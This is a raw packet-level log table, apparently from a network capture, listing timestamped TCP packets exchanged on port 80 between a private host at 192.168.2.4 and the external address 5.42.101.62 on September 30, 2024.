Sep 30, 2024 12:22:36.370112896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370145082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370157957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370187044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370198011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370233059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370239019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370265961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370279074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370300055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370311975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370332956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370342016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370376110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370383978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370415926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370424986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370450974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370460987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370487928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370497942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370527983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370538950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370574951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370584011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370609999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370620012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370641947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370651960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370682955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370683908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370718002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370727062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370763063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370769978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370804071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370811939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370836973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370846033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370871067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370882034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370907068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370914936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370940924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370951891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.370975018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.370980978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371033907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371042013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371074915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371084929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371109962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371119022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371144056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371151924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371185064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371202946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371232986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371246099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371267080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371278048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371301889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371314049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371332884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371344090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371372938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371404886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371443987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371449947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371479034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371489048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371520996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371531010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371568918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371582031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371615887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371623993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371648073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371664047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371684074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371695042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371727943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371737957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371773005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371781111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371807098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371814013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371840954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371849060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371884108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371901035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.371947050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.371953964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372001886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372014046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372051954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372059107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372097969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372106075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372215033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372220993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372267962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372273922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372306108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372318029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372339010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372349024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372373104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372383118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372405052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372414112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372451067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372458935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372493982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372505903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372528076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372546911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372562885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372570992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372596979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372606993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372631073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372639894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372664928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372674942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372699022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372709990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372733116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372740984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372769117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372776031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372803926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372812986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372838020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372849941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372873068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372880936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372908115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372917891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372936010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372951031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.372970104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.372978926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373004913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373014927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373039007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373049021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373071909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373080969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373106003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373116016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373142004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373155117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373173952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373179913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373207092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373218060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373238087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373250008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373271942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373281002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373307943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373315096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373341084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373351097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373375893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373384953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373409986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373420000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373449087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373456001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373481989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373493910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373516083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373524904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373552084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373557091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373588085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373600960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373621941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373630047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373656034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373663902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373689890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373699903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373727083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373735905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373760939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373773098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373790979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373797894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373823881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373835087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373858929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373867989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373892069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373902082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373925924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373934031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.373960972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.373969078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.374010086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.455941916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456073046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456108093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456137896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456137896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456152916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456163883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456198931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456207991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456243038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456252098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456285954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456298113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456321001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456326962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456362963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456374884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456408978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456423044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456444979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456463099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456509113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456515074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456556082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456561089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456603050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456609011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456639051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456653118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456671000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456682920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456716061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456722021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456764936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456767082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456803083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456810951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456850052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456861973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456907034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.456931114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456970930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.456988096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457004070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457009077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457045078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457056999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457089901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457098007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457133055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457142115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457176924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457186937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457220078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457228899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457262993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457278013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457295895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457304955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457340002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457345963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457382917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457391024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457416058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457428932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457458973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457458973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457490921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457499981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457525969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457534075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457559109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457567930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457602024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457613945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457645893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457653999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457680941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457691908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457715034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457726002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457758904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457770109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457803965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457814932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457838058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457847118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457882881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457890987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457923889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457938910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457953930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457967043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.457987070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.457997084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458041906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458045006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458081961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458091974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458127022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458143950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458153009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458159924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458199978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458203077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458229065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458246946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458260059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458268881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458295107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458307981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458340883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458344936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458379030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458388090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458410978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458417892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458446980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458492994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458498001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458507061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458534956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458550930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458571911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458580017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458606005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458611012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458637953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458651066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.458672047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.458678007 CEST	52534	80	192.168.2.4	5.42.101.62
